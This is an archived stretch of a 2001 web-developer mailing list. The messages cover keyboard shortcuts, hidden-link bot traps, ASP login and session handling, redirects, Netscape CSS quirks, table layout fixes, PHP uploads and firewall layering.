Date: Fri Sep 21 18:22:56 2001
Subject: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please)
References: <LPBBLLOGKNBIKOOOOAJAEENEFMAA.tonyc@boldfish.co.uk> <009d01c142ef$38b83da0$657ba8c0@notami> <04e601c142f0$6f19f180$a600a8c0@mrtnz1.ga.home.com>
Message-ID: <011201c142f4$8b15ce00$657ba8c0@notami>

> : > > Windows + D takes you to the desktop. [and when I figure out
> : > > how that's
> : > > different from Windows + M to 'minimize all' I'll let you
> : > > know; it's just
> : > > easier for me to remember.
> : >
> : > Windows + D works as a toggle - Press once to go to desktop, press
again
> : > to return to your active program, window + M doesn't toggle.
> :
> : ah...but windows+M; then windows+shift+M does!

> Thanks Bruce.
>
> Very nice.  I was wondering about that.  Windows+D does not work on my
> machine.  Any ideas?
>
> -joshua

you might check ControlPanel/Keyboard/Language and try a different layout,
mine defaults to English(US) 101

hope that helps,
Bruce
g1notami at zoominternet.net





From paola at limitless.co.uk  Fri Sep 21 18:36:45 2001
From: paola at limitless.co.uk (Paola Kathuria)
Date: Fri Sep 21 18:36:45 2001
Subject: [thelist] Another way of trapping bots (was: Congrats to evolt.org....)
References: <5.1.0.14.2.20010921132035.01b6c420@baratta.com> <3BABA2B9.2060702@starkmedia.com>
Message-ID: <3BABCECE.810A3CD0@limitless.co.uk>

I like the idea of setting a trap for robots in robots.txt

Here's another way of trapping bots if you want to deny them
specific content on a generated site.

I have found that agent string isn't reliable to detect many or
even most robots because 1) some have been rotating agent strings
within a session for years (I started saving examples of these
recently and such a visit log is at:
http://www.limitless.co.uk/~paola/tmp/log-rotate-agent.txt).  And
2) many spiders and bots can be set to supply any agent string
(this is also true of Wget) - many pretend to be IE 5+ because of
browser-detection on IE 5-specific sites.

In my resource the Colour Selector (http://www.limitless.co.uk/colour/),
there are 4,500 internal links in just 16 pages because of the clickable
colour palettes which can be up to 60k.  The web server already sets the
session id to "null" if a visitor is recognised as a spider/robot (by
means of a file look-up) - this was done because some search engine
spiders go beserk when the URL changes for an indexed page and they
try to reindex everything again.

However, new robots appear daily and so I created a link which only
robots would follow - the link is of a 1-pixel transparent gif (with
no alt text) and it is to an empty page that just sets a session
variable.  If the session id is "null" or if the "caught" variable has
been set, the clickable palettes with their 4,500 links won't appear
in the Colour Selector.  The catch link is at the very top and very
bottom of pages.


Paola




From mwarden at mattwarden.com  Fri Sep 21 18:40:07 2001
From: mwarden at mattwarden.com (Warden, Matt)
Date: Fri Sep 21 18:40:07 2001
Subject: [thelist] Another way of trapping bots (was: Congrats to
 evolt.org....)
In-Reply-To: <3BABCECE.810A3CD0@limitless.co.uk>
Message-ID: <Pine.LNX.4.20.0109211939460.20582-100000@scooter.webservepro.com>

On Sep 22, Paola Kathuria had something to say about [thelist] Another way...

>However, new robots appear daily and so I created a link which only
>robots would follow - the link is of a 1-pixel transparent gif (with
>no alt text) and it is to an empty page that just sets a session
>variable.  If the session id is "null" or if the "caught" variable has
>been set, the clickable palettes with their 4,500 links won't appear
>in the Colour Selector.  The catch link is at the very top and very
>bottom of pages.

Sessions rely on cookies, right? How many of these robots accept
cookies?



thanks,


--
mattwarden
mattwarden.com




From andrew at thepander.co.nz  Fri Sep 21 18:48:16 2001
From: andrew at thepander.co.nz (Andrew Forsberg)
Date: Fri Sep 21 18:48:16 2001
Subject: [thelist] Another way of trapping bots (was: Congrats to 
 evolt.org....)
In-Reply-To:  <Pine.LNX.4.20.0109211939460.20582-100000@scooter.webservepro.com>
References:  <Pine.LNX.4.20.0109211939460.20582-100000@scooter.webservepro.com>
Message-ID: <p05100300b7d181f21265@[192.168.1.5]>

>  >However, new robots appear daily and so I created a link which only
>>robots would follow - the link is of a 1-pixel transparent gif (with
>>no alt text) and it is to an empty page that just sets a session
>>variable.  If the session id is "null" or if the "caught" variable has
>>been set, the clickable palettes with their 4,500 links won't appear
>>in the Colour Selector.  The catch link is at the very top and very
>>bottom of pages.
>
>Sessions rely on cookies, right? How many of these robots accept
>cookies?

Nice idea! And you could just pass a get variable with the null 
session id, instead of cookies.


-- 
Andrew Forsberg
---
the pander - http://thepander.co.nz/
uberNET - http://uber.net.nz/



From r937 at interlog.com  Fri Sep 21 18:57:27 2001
From: r937 at interlog.com (rudy)
Date: Fri Sep 21 18:57:27 2001
Subject: [thelist] Help with javascript menu please?
Message-ID: <01c142f9$363027a0$d749149a@rudy>

> So I could simply paste the basic Navigation in between the
> <noscript></noscript> tags and be on my merry way?

hi jeana

yes, or you could use ordinary html links for the top level
of your navigation, so that if the hiermenus are not available,
at least the site visitor can navigate to the main section pages

e.g.

   <a href="sitemap.htm"
          onMouseOver="popUp('elMenu1',event)" 
         onMouseOut="popDown('elMenu1')"
     >Site Map</a>

each top level page would have a hardcoded index of links
to second level pages

with javascript on, people would typically go to second level
pages directly using the hiermenus

this way, you don't have to have separate or duplicate
navigation code in the noscript tag


rudy




From paola at limitless.co.uk  Fri Sep 21 19:02:41 2001
From: paola at limitless.co.uk (Paola Kathuria)
Date: Fri Sep 21 19:02:41 2001
Subject: [thelist] Another way of trapping bots (was: Congrats 
 toevolt.org....)
References: <Pine.LNX.4.20.0109211939460.20582-100000@scooter.webservepro.com>
Message-ID: <3BABD53B.6DB0EFAE@limitless.co.uk>

"Warden, Matt" wrote:
> Sessions rely on cookies, right?

Not necessarily.

The Colour Selector (and other interactive sites on that server)
maintains sessions at the server.

Even if you don't have a generated site, you can still make use
of this kind of trap by extracting accesses to the trap page
from your logs to maintain your own list of robots.  I mostly
use my bot list to grep out spiders/bots from access logs so
that I can get an idea of actual interest by humans (I also
grep logs for accesses to robots.txt) (although in the past
few days, I've seen 20 times more accesses by NT hacking attempts
than by humans to some of my sites).


Paola, who added "flunky" to the list today



From mwarden at mattwarden.com  Fri Sep 21 19:07:50 2001
From: mwarden at mattwarden.com (Warden, Matt)
Date: Fri Sep 21 19:07:50 2001
Subject: [thelist] Another way of trapping bots (was: Congrats 
 toevolt.org....)
In-Reply-To: <3BABD53B.6DB0EFAE@limitless.co.uk>
Message-ID: <Pine.LNX.4.20.0109212005430.21199-100000@scooter.webservepro.com>

On Sep 22, Paola Kathuria had something to say about Re: [thelist] Another...

>"Warden, Matt" wrote:
>> Sessions rely on cookies, right?
>
>Not necessarily.
>
>The Colour Selector (and other interactive sites on that server)
>maintains sessions at the server.

Um, yeah, most do. But the association between client and session is
usually created by placing a sessionid of some sort in a cookie on the
client, which relates to certain stored items on the server.



--
mattwarden
mattwarden.com




From nicole at parrot.ca  Fri Sep 21 19:07:57 2001
From: nicole at parrot.ca (Nicole Parrot)
Date: Fri Sep 21 19:07:57 2001
Subject: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please)
References: <LPBBLLOGKNBIKOOOOAJAEENEFMAA.tonyc@boldfish.co.uk> <009d01c142ef$38b83da0$657ba8c0@notami>
Message-ID: <01d001c142fa$aebb1d00$41c9ca18@nicole>

Windows+F = calls up the Find window. It's still the same keyboard shortcut
even though the Find has been renamed to Search in Windows XP.

And my fave keyboard shortcut
Windows+E = calls up Explorer, which you can use as Windows Explorer and
Internet Explorer.

And I just discovered Windows+L to log out...

<tip>
One of the good sides of having Internet explorer integrated in the OS is
that you can use it to explore both the net and your own system. The same
goes for Windows Explorer which by default will give you access to your
drive. It will accept a URL in the Address: field.  So you can re-use
whatever you have that's already running.
</tip>




From don at aspalliance.com  Fri Sep 21 22:12:41 2001
From: don at aspalliance.com (Don Makoviney)
Date: Fri Sep 21 22:12:41 2001
Subject: [thelist] Another way of trapping bots (was: Congrats  toevolt.org....)
References: <Pine.LNX.4.20.0109212005430.21199-100000@scooter.webservepro.com>
Message-ID: <004501c14313$088e7d00$8155313f@dmak>

Is there an article or resources somewhere online for how to trap bots that
ignore robots.txt files? If it matters, an NT/2000 based one would be most
relevant to me.

Thanks,

Don Makoviney
MAKOVISION.com - Handpicked News For Internet Developers
http://www.makovision.com/

FREE Usability/WebDev Newsletter - Twice Weekly
http://www.makovision.com/subs/





From djc at starkmedia.com  Fri Sep 21 23:10:43 2001
From: djc at starkmedia.com (Daniel J. Cody)
Date: Fri Sep 21 23:10:43 2001
Subject: [thelist] Congrats to evolt.org....
References: <5.1.0.14.0.20010921191023.00a1ca20@treevis.com>
Message-ID: <3BAC0FEC.9080608@starkmedia.com>

hey travis -

In my article, I mention how you can use an .htaccess file to acomplish 
the desired results.. also, check this:
http://evolt.org/article/rating/18/15126/index.html#comment15162

and you should have everything you need to get it working with a simple 
.htaccess file

Shout if you have any more questions :)

.djc.

travis forden wrote:

> Hi.
> 
> How does all this work if I am not the server administrator for my site? I use a hosting company with virtual hosting on an apache server on a linux box. Is it a matter of using .htaccess? In the comments of the first article, ironclad suggests using a mod_rewrite and CGI to record the spiderts IP address immediately. If I don't have access to the server's config files, can I still use these techniques?





From beau at members.evolt.org  Fri Sep 21 23:40:09 2001
From: beau at members.evolt.org (Beau Hartshorne)
Date: Fri Sep 21 23:40:09 2001
Subject: [thelist] ASP, HTTP_REFERRER, Session questions
In-Reply-To: <200109211421.f8LELgZe007298@leo.evolt.org>
Message-ID: <000e01c14320$b5c02ed0$79334d18@Dell8100>

I followed everyone's advice, and reprogrammed the login/authentication
script to work with querystrings. I've kept only the username and
password in Session variables, because if I leave them in the
querystring (even if I hash them) someone else could sit down after them
in a shared lab, click the history button, and go back a few steps -
voila, back to
http://www.foobar.com/protected.asp?USR=username&PWD=hashedpassword.
With sessions, users can click on a log out button to destroy their
session variables.

If I get some time, I'll even work it so that if a user has cookies
turned off, instead of being shut out they'll just have to enter their
username and password each time they go to some protected page.

I'm not quite sold on Server.Transfer VS Response.Redirect. Are there
cases where Response.Redirect simply does not work?

Thanks again,

Beau

aardvark wrote:

> the reason i remanded the URL variable to the query string and 
> hidden fields is because it's completely friendly for all 
> browsers, as 
> opposed to just cookied or sessioned (making up new words) 
> browsers...




From sfmalo at msn.com  Sat Sep 22 03:32:46 2001
From: sfmalo at msn.com (sfmalo)
Date: Sat Sep 22 03:32:46 2001
Subject: [thelist] NN4.7 only displaying A:link, etc. properties - CSS
Message-ID: <006301c14340$b9fb32e0$85241b3f@oemcomputer>

Hi all -

Having problems with NN4.7. Isn't picking up my pseudo-class selector
properties of A:link.one, etc. Only shows .A:link, A:visited and A:active
stuff (without the bottom border). I know hover doesn't work but nothing
under A:active works either!

Example: am referencing .A:link.one etc. as follows: <.a class="one"
href="http://www.xyz.com" target="_blank">xyz</a>

Any ideas as to what I'm doing wrong? Works just great in IE5.5 and N6.1
(ta, da). Thought that NN4.7 would pick these up, but apparently not?

.A:link { color: #ff9900; font-weight: 600; background: transparent;
text-decoration: none ;  }
.A:visited { color: #dc143c; background: transparent; text-decoration: none
; border-bottom: 2px dotted #dc143c ; }
.A:hover { color: #ff9900; background: transparent; text-decoration: none ;
border-bottom: 2px dotted #ff9900 ; }
.A:active { color: #dc143c; background: transparent; text-decoration: none ;
border-bottom: 2px dotted #dc143c ; }
.A:link.one { color: #0000ff; font-weight: 400; background: transparent;
text-decoration: underline ; border: none ; }
.A:visited.one { color: #dc143c; background: transparent; text-decoration:
underline ;  border: none ; }
.A:hover.one { color: #ff9900; background: transparent; text-decoration:
none ;  border: none ; }
.A:active.one { color: #dc143c; background: transparent; text-decoration:
none ;  border: none ; }
.A:visited.two { color: #fefefe; background: transparent; text-decoration:
none ; border-bottom: 2px dotted #fefefe ; }

Sharon
---------------------------------------------------------------------------
Sharon F. Malone
"web design and Internet writing services"
http://www.24caratdesign.com




From mwarden at mattwarden.com  Sat Sep 22 09:14:22 2001
From: mwarden at mattwarden.com (Warden, Matt)
Date: Sat Sep 22 09:14:22 2001
Subject: [thelist] ASP, HTTP_REFERRER, Session questions
In-Reply-To: <000e01c14320$b5c02ed0$79334d18@Dell8100>
Message-ID: <Pine.LNX.4.20.0109221005460.5238-100000@scooter.webservepro.com>

On Sep 21, Beau Hartshorne had something to say about RE: [thelist] ASP,...

>I'm not quite sold on Server.Transfer VS Response.Redirect. Are there
>cases where Response.Redirect simply does not work?

Yes, in older browsers and some robot clients and clients of other sorts
like middleware http get/post clients (like certain ASP COM objects, and I 
assume other language's http interaction methods can at least be
configured to not follow redirects).

Plus, IMO, sending a "moved temp./perm." header in order to send someone
to a *different* page is a hack.

Plus, what happens in a client redirect like a 301 or 302 is:

1. Client makes request to server
2. Server responds with a 301/302 status code and usually includes a
Location: header where the moved file can be found
3. Client makes *another* request, this time it's the file found in #2's
Location: header
4. Server most likely responds with a 200 status and the requested file.

And this is what happens in the Server.Transfer method:

1. Client makes request for File A
2. Server executes File A, notices a Server.Transfer to File B, grabs
and executes any code in File B, and returns a 200 status code along with
File B.

So, it's server-client-server-client vs. server-client, the latter which
models the intended interaction more closely and certainly cuts down on
response time.

that help? if you still have questions, shoot.  =)




--
mattwarden
mattwarden.com




From jjsteele22 at yahoo.com  Sat Sep 22 10:26:13 2001
From: jjsteele22 at yahoo.com (jon steele)
Date: Sat Sep 22 10:26:13 2001
Subject: [thelist] NN4.7 only displaying A:link, etc. properties - CSS
In-Reply-To: <006301c14340$b9fb32e0$85241b3f@oemcomputer>
Message-ID: <20010922152643.69467.qmail@web13508.mail.yahoo.com>

I think the format is:

a:link {...} /* for general links */
a:active {...} /* for general links */
etc.

a.one:link {...} /* for links with class="one" */
a.one:active {...} /* for links with class="one" */
etc.

YOu don't need an '.' before 'a', if you have one, you would be
defining a class="a". Also, the ".one" goes before the link.

HTH

Jon

--- sfmalo <sfmalo at msn.com> wrote:
> Hi all -
> 
> Having problems with NN4.7. Isn't picking up my pseudo-class selector
> properties of A:link.one, etc. Only shows .A:link, A:visited and
> A:active
> stuff (without the bottom border). I know hover doesn't work but
> nothing
> under A:active works either!
> 
> Example: am referencing .A:link.one etc. as follows: <.a class="one"
> href="http://www.xyz.com" target="_blank">xyz</a>
> 
> Any ideas as to what I'm doing wrong? Works just great in IE5.5 and
> N6.1
> (ta, da). Thought that NN4.7 would pick these up, but apparently not?
> 
> .A:link { color: #ff9900; font-weight: 600; background: transparent;
> text-decoration: none ;  }
> .A:visited { color: #dc143c; background: transparent;
> text-decoration: none
> ; border-bottom: 2px dotted #dc143c ; }
> .A:hover { color: #ff9900; background: transparent; text-decoration:
> none ;
> border-bottom: 2px dotted #ff9900 ; }
> .A:active { color: #dc143c; background: transparent; text-decoration:
> none ;
> border-bottom: 2px dotted #dc143c ; }
> .A:link.one { color: #0000ff; font-weight: 400; background:
> transparent;
> text-decoration: underline ; border: none ; }
> .A:visited.one { color: #dc143c; background: transparent;
> text-decoration:
> underline ;  border: none ; }
> .A:hover.one { color: #ff9900; background: transparent;
> text-decoration:
> none ;  border: none ; }
> .A:active.one { color: #dc143c; background: transparent;
> text-decoration:
> none ;  border: none ; }
> .A:visited.two { color: #fefefe; background: transparent;
> text-decoration:
> none ; border-bottom: 2px dotted #fefefe ; }
> 
> Sharon
>
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> "web design and Internet writing services"
> http://www.24caratdesign.com
> 
> 
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From kerin at airside.co.uk  Sat Sep 22 10:47:19 2001
From: kerin at airside.co.uk (// kerin | airside.co.uk)
Date: Sat Sep 22 10:47:19 2001
Subject: [thelist] a plea
Message-ID: <a05101000b7d271419879@[62.49.5.205]>

i know this is bad form, but I really need somebody to forward me a 
mail that was sent to the list yesterday. i downloaded on a different 
machine, and cant get at it for a couple of days and *really8 need it 
- and that message hasnt been added into the archive yet...

So, if anybody could help it would be *greatly* appreciated. The mail 
was the only reply to i mail I sent title "MySQl JOINing", containing 
a SQL query.

Thanks!

Kerin

[if i could think of a tip, I'd put one here]
-- 



From michele at wordpro.on.ca  Sat Sep 22 10:57:38 2001
From: michele at wordpro.on.ca (Michele Foster)
Date: Sat Sep 22 10:57:38 2001
Subject: [thelist] a plea
References: <a05101000b7d271419879@[62.49.5.205]>
Message-ID: <01c201c1437f$532c3c00$a300a8c0@aci.on.ca>

Kerin,

Is this the message you are looking for:
http://lists.evolt.org/archive/Week-of-Mon-20010917/013551.html
?

When you go to thelist archive, you'll see several blank or very small
entries at the top.  The reason for this is messages that get sent with an
incorrect date.  The archive gets created by week (date).  You need to check
the date to get the current week (or look for the larger file sizes).

HTH,

Michele

----- Original Message -----
From: "// kerin | airside.co.uk" <kerin at airside.co.uk>



| So, if anybody could help it would be *greatly* appreciated. The mail
| was the only reply to i mail I sent title "MySQl JOINing", containing
| a SQL query.





From kerin at airside.co.uk  Sat Sep 22 11:00:09 2001
From: kerin at airside.co.uk (// kerin | airside.co.uk)
Date: Sat Sep 22 11:00:09 2001
Subject: [thelist] a plea
In-Reply-To: <01c201c1437f$532c3c00$a300a8c0@aci.on.ca>
References: <a05101000b7d271419879@[62.49.5.205]>
 <01c201c1437f$532c3c00$a300a8c0@aci.on.ca>
Message-ID: <a05101004b7d275047a45@[62.49.5.205]>

Thanks Michele,

I've already had a few people mail me offlist with the mail I was 
looking for. Super-quick too!

Thanks,

Kerin

>Kerin,
>
>Is this the message you are looking for:
>http://lists.evolt.org/archive/Week-of-Mon-20010917/013551.html
>?
>
>When you go to thelist archive, you'll see several blank or very small
>entries at the top.  The reason for this is messages that get sent with an
>incorrect date.  The archive gets created by week (date).  You need to check
>the date to get the current week (or look for the larger file sizes).
>
>HTH,
>
>Michele
>
>----- Original Message -----
>From: "// kerin | airside.co.uk" <kerin at airside.co.uk>
>
>
>
>| So, if anybody could help it would be *greatly* appreciated. The mail
>| was the only reply to i mail I sent title "MySQl JOINing", containing
>| a SQL query.
>
>
>
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From gnarly at gmx.co.uk  Sat Sep 22 11:18:13 2001
From: gnarly at gmx.co.uk (Olly Hodgson)
Date: Sat Sep 22 11:18:13 2001
Subject: [thelist] Text at the bottom...
Message-ID: <016c01c14382$2a96a610$0100a8c0@uridium>

Hi all,

Quick question: Are there CSS properties I can set to make a part of the
content of a TD appear in the bottom right corner of the cell?

Not sure what I mean? Take a look at http://www.gnarly.f2s.com/

You see the yellow "Read More" text in the main table? Is there any way to
make that appear in the bottom right corner whilst leaving the rest of the
cell as is?

Thanks in advance,
Cheers,

Olly
- www.gnarly.f2s.com -




From evolt at brasscannon.net  Sat Sep 22 11:29:04 2001
From: evolt at brasscannon.net (Kevin Martin)
Date: Sat Sep 22 11:29:04 2001
Subject: [thelist] PHP upload files
In-Reply-To: <20010922152657.1C72951FD3@relay.evolt.org>; from thelist-admin@lists.evolt.org on Sat, Sep 22, 2001 at 08:26:57AM -0700
References: <20010922152657.1C72951FD3@relay.evolt.org>
Message-ID: <20010922123045.A15100@brasscannon.net>

John Corry writes:
> I'm working on some scripts on my workstation/development machine (IIS 5,
> Win 2K, PHP 4.0.5) and can't get my form to accept a file as input.

and

> I'm trying to allow usrs to upload image files from their client to the site
> with an <input type="file" name="photo"> in my form.

Been doing pretty much the same thing except with Apache, and found a 
PHP tutorial at Melonfire <www.melonfire.com> that was very helpful.  
Look under the title "Beam Me Up, Scotty."

It actually invokes ftp on the server, so that might be a stumbling block
for you, but last night I got it debugged (my PHP file size limit was 
set too low) and cleanly uploaded a few files over 50MB in size.  Now I 
just have to fix my separate download CGI to recognize files with embedded 
spaces in their names....  Anyway, good luck!



From hblair at hotfootmail.com  Sat Sep 22 11:30:00 2001
From: hblair at hotfootmail.com (Hugh Blair)
Date: Sat Sep 22 11:30:00 2001
Subject: [thelist] Text at the bottom...
In-Reply-To: <016c01c14382$2a96a610$0100a8c0@uridium>
Message-ID: <NBBBJJHMEOLIMKIKIOMJGEDNLJAA.hblair@hotfootmail.com>

 From the source:
<div align="right" class="ReadMore"><a href="mtb/index.html" >Read
More...</a>&nbsp;</div>
So you could make a class "ReadMore" and then reference it in your page.

-Hugh
____________________________
http://www.wholesalenics.net

> -----Original Message-----
> [mailto:thelist-admin at lists.evolt.org]On Behalf Of Olly Hodgson
> Subject: [thelist] Text at the bottom...
>
>
> Hi all,
>
> Quick question: Are there CSS properties I can set to make a part of the
> content of a TD appear in the bottom right corner of the cell?
>
> Not sure what I mean? Take a look at http://www.gnarly.f2s.com/
>
> You see the yellow "Read More" text in the main table? Is there any way to
> make that appear in the bottom right corner whilst leaving the rest of the
> cell as is?
>
> Thanks in advance,
> Cheers,
>
> Olly
>




From gnarly at punkass.com  Sat Sep 22 11:36:51 2001
From: gnarly at punkass.com (Olly Hodgson)
Date: Sat Sep 22 11:36:51 2001
Subject: [thelist] Text at the bottom...
References: <NBBBJJHMEOLIMKIKIOMJGEDNLJAA.hblair@hotfootmail.com>
Message-ID: <017901c14384$c3a5c690$0100a8c0@uridium>

----- Original Message -----
From: "Hugh Blair" <hblair at hotfootmail.com>
Subject: RE: [thelist] Text at the bottom...


> From the source:
> <div align="right" class="ReadMore"><a href="mtb/index.html" >Read
> More...</a>&nbsp;</div>
> So you could make a class "ReadMore" and then reference it in your page.
>
> -Hugh

Thanks, but I seem to have sorted it myself - just used <p> instead iof
<div>. not sure whay it worked, but it did.

Olly
- www.gnarly.f2s.com -





From mnickel at new.rr.com  Sat Sep 22 11:52:31 2001
From: mnickel at new.rr.com (Mark Nickel)
Date: Sat Sep 22 11:52:31 2001
Subject: [thelist] Firewalls vs. Web Databases
References: <004701c141fe$00861390$0300a8c0@glenn> <3BAA3808.2090608@starkmedia.com>
Message-ID: <3BACC31F.CFFA3C1A@new.rr.com>

>
> > The best for security is definitely everything behind the firewall, or
> > at least the firewall being the only connection between the 'net and
> > your private network.
>
> My point is that Joe Cracker would have to a.) get through firewall
> rules b.) get through the webserver before c.) he ever found out even
> what network the DB server is on.
>

In addition to layering your defenses, one should also remember to
stringently audit the web-based applications that would be running behind the
firewall.  One can have a locked down network architecture, but forget to
audit that webapplication which uses a home-grown CGI processor instead of
CGI.pm, in the case of a Perl-based app.  Just Don't Do It... Use CGI.pm if
you can.  If you can't do a search for "Ovid" on http://perlmonks.org.

IMHO, it's easy to architect and secure the network but it's easy to become
relaxed and forget to secure your applications...

mjn




From don at aspalliance.com  Sat Sep 22 13:10:51 2001
From: don at aspalliance.com (Don Makoviney)
Date: Sat Sep 22 13:10:51 2001
Subject: [thelist] ASP, HTTP_REFERRER, Session questions
References: <000e01c14320$b5c02ed0$79334d18@Dell8100>
Message-ID: <002701c14390$85e19670$2d3b313f@dmak>

Is there a reason why you used Querystrings instead of Form. (i.e. POST
instead of GET?)?

That way, you don't have to deal with the tremendous overhead of sessions.

See this article:
Databases and Sessions.... Just Say No!
http://www.learnasp.com/learn/nodbsession.asp

HTH,

Don Makoviney
MAKOVISION.com - Handpicked News For Internet Developers
http://www.makovision.com/

FREE Usability/WebDev Newsletter - Twice Weekly
http://www.makovision.com/subs/







From beau at members.evolt.org  Sat Sep 22 14:28:30 2001
From: beau at members.evolt.org (Beau Hartshorne)
Date: Sat Sep 22 14:28:30 2001
Subject: [thelist] ASP, HTTP_REFERRER, Session questions
In-Reply-To: <002701c14390$85e19670$2d3b313f@dmak>
Message-ID: <001301c1439c$d0e544d0$79334d18@Dell8100>

I read the article you referred to. The article was trying to deter
programmers from storing recordsets in application and session
variables. Thanks to feedback from other list members, I know a little
more about some of the bad habits session variables and
response.redirects can let you fall into.

Here's my refined logic so far (with most of the response.redirects and
session variables removed):

On every page, there a string is generated like this:

<%
Dim strCurrentPage,strCurrentQueryString
strCurrentPage = "ReferringPage=" & _
	Request.ServerVariables("SCRIPT_NAME")
strCurrentQueryString = Request.ServerVariables("QUERY_STRING")
If strCurrentQueryString <> "" Then
	strCurrentPage = strCurrentPage & "&" & strCurrentQueryString
End If
%>

This gets passed to the login script like this:

<a href="login.asp?<%=strCurrentPage%>">Login</a><br>

So when a user clicks on that link and goes to the login page, the login
page is fed with a querystring. This querystring is immediately stored
in a variable that gets used later. Before I spoke with thelist, I had
separated the login.asp page and the authentication.asp page -- as I had
seen in a book that I just bought. Now, everything is handled on the
login.asp page. There are no more response.redirects back and forth, and
there are no more session variables that carry errors or strCurrentPage.
I've basically cut it down to this:

<%
Session.Contents("UserName") = strUserName
Session.Contents("Password") = strPassword
Response.Redirect(strReferringPage)
%>

So there are two session variables, containing small strings. These are
be the only two session variables that will be used throughout the site.
Everything else is handled with querystrings, and method="post". If I
have time, I will design the sections of the site that require a login
to still be functional without cookies -- they will just need to login
every time they access a protected page. I am not going to store the
username or password in a querystring and pass it around the site. It's
not secure, and it's a real headache to code.

I think I'll be returning the book to the store. I've found the online
resources to be much more useful.

Cheers,

Beau

> Is there a reason why you used Querystrings instead of Form. 
> (i.e. POST instead of GET?)?
> 
> That way, you don't have to deal with the tremendous overhead 
> of sessions.
> 
> See this article:
> Databases and Sessions.... Just Say No! 
> http://www.learnasp.com/learn/nodbsession.asp
> 
> HTH,
> 
> Don 
> Makoviney
> MAKOVISION.com - Handpicked News For Internet Developers 
http://www.makovision.com/

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From wndrlnd at gte.net  Sat Sep 22 14:42:31 2001
From: wndrlnd at gte.net (kim greist)
Date: Sat Sep 22 14:42:31 2001
Subject: [thelist] Netscape and Windows not cooperating HELP!!
In-Reply-To: <20010922152700.1D33051FEF@relay.evolt.org>
Message-ID: <B7D23643.4044%wndrlnd@gte.net>

> This browser is ruining the image layout inside a layer I have absolutely
> positioned below the left nav menu
> the problem doesnt show up in windows 98 or 95 or 2000
> running ns 4.x.x
> 
> if anyone can give me any insight into what might cause this problem and how
> I might tighten up my (d)html Id really appreciate the feedback

You can anchor the layer by clipping it to a transparent gif positioned just
above it.
: )
Kim




From sfmalo at msn.com  Sat Sep 22 14:42:50 2001
From: sfmalo at msn.com (sfmalo)
Date: Sat Sep 22 14:42:50 2001
Subject: [thelist] NN4.7 only displaying A:link, etc. properties - CSS
References: <20010922152643.69467.qmail@web13508.mail.yahoo.com>
Message-ID: <005d01c1439e$5da3e380$8d241b3f@oemcomputer>

Ahhh, the "one" goes before the link, visited, etc. Thanks, I'll make the
changes. Interesting that it already works the way I have it, so N6.1 is
much more forgiving than NN4.7.

Also FYI, I placed a period before the A's only for purposes of emailing
this message so the code would not display as HTML. SOP.(<8

Sharon

From: "jon steele" <jjsteele22 at yahoo.com>
Sent: Saturday, September 22, 2001 8:26 AM

> I think the format is:
>
> a:link {...} /* for general links */
> a:active {...} /* for general links */
> etc.
>
> a.one:link {...} /* for links with class="one" */
> a.one:active {...} /* for links with class="one" */
> etc.
>
> YOu don't need an '.' before 'a', if you have one, you would be
> defining a class="a". Also, the ".one" goes before the link.
>
> HTH
>
> Jon
>
> --- sfmalo <sfmalo at msn.com> wrote:
> > Hi all -
> >
> > Having problems with NN4.7. Isn't picking up my pseudo-class selector
> > properties of A:link.one, etc. Only shows .A:link, A:visited and
> > A:active
> > stuff (without the bottom border). I know hover doesn't work but
> > nothing
> > under A:active works either!
> >
> > Example: am referencing .A:link.one etc. as follows: <.a class="one"
> > href="http://www.xyz.com" target="_blank">xyz</a>
> >
> > Any ideas as to what I'm doing wrong? Works just great in IE5.5 and
> > N6.1
> > (ta, da). Thought that NN4.7 would pick these up, but apparently not?
> >
> > .A:link { color: #ff9900; font-weight: 600; background: transparent;
> > text-decoration: none ;  }
> > .A:visited { color: #dc143c; background: transparent;
> > text-decoration: none
> > ; border-bottom: 2px dotted #dc143c ; }
> > .A:hover { color: #ff9900; background: transparent; text-decoration:
> > none ;
> > border-bottom: 2px dotted #ff9900 ; }
> > .A:active { color: #dc143c; background: transparent; text-decoration:
> > none ;
> > border-bottom: 2px dotted #dc143c ; }
> > .A:link.one { color: #0000ff; font-weight: 400; background:
> > transparent;
> > text-decoration: underline ; border: none ; }
> > .A:visited.one { color: #dc143c; background: transparent;
> > text-decoration:
> > underline ;  border: none ; }
> > .A:hover.one { color: #ff9900; background: transparent;
> > text-decoration:
> > none ;  border: none ; }
> > .A:active.one { color: #dc143c; background: transparent;
> > text-decoration:
> > none ;  border: none ; }
> > .A:visited.two { color: #fefefe; background: transparent;
> > text-decoration:
> > none ; border-bottom: 2px dotted #fefefe ; }
> >
> > Sharon
---------------------------------------------------------------------------
Sharon F. Malone
"web design and Internet writing services"
http://www.24caratdesign.com





From unuk at runbox.com  Sat Sep 22 16:30:27 2001
From: unuk at runbox.com (Mr Dave)
Date: Sat Sep 22 16:30:27 2001
Subject: [thelist] Gap below images in tables...
Message-ID: <000901c143b0$3e374840$0c41063e@stevens>

Can someone please tell me how to get rid of the small gap that appears
below an image in a table cell when you close the cell after it... really
screws up the design and I know it can be removed but not how!

many thanks
mr dave
http://www.squalidnet.com





From nick at infinitevoid.com  Sat Sep 22 16:33:15 2001
From: nick at infinitevoid.com (Nick Bourgeois)
Date: Sat Sep 22 16:33:15 2001
Subject: [thelist] Gap below images in tables...
References: <000901c143b0$3e374840$0c41063e@stevens>
Message-ID: <026401c143ae$4a8b7af0$0653fa18@cc71118b>

> Can someone please tell me how to get rid of the small gap that appears
> below an image in a table cell when you close the cell after it... really
> screws up the design and I know it can be removed but not how!

Remove all whitepsace before and after the image in the cell.

So instead of

<td>
  <img src="foo.gif">
</td>

use

<td><img src="foo.gif"></td>

Nick Bourgeois
nick at infinitevoid.com




From unuk at runbox.com  Sat Sep 22 16:41:05 2001
From: unuk at runbox.com (Mr Dave)
Date: Sat Sep 22 16:41:05 2001
Subject: [thelist] Gap below images in tables...
References: <000901c143b0$3e374840$0c41063e@stevens> <026401c143ae$4a8b7af0$0653fa18@cc71118b>
Message-ID: <001301c143b1$b8e56bc0$0c41063e@stevens>

Worked a treat, many thanks
Mr Dave

> Remove all whitepsace before and after the image in the cell.
> 
> So instead of
> 
> <td>
>   <img src="foo.gif">
> </td>
> 
> use
> 
> <td><img src="foo.gif"></td>
> 
> Nick Bourgeois
> nick at infinitevoid.com





From navin_dhanuka at yahoo.com  Sat Sep 22 21:55:03 2001
From: navin_dhanuka at yahoo.com (Navin Dhanuka)
Date: Sat Sep 22 21:55:03 2001
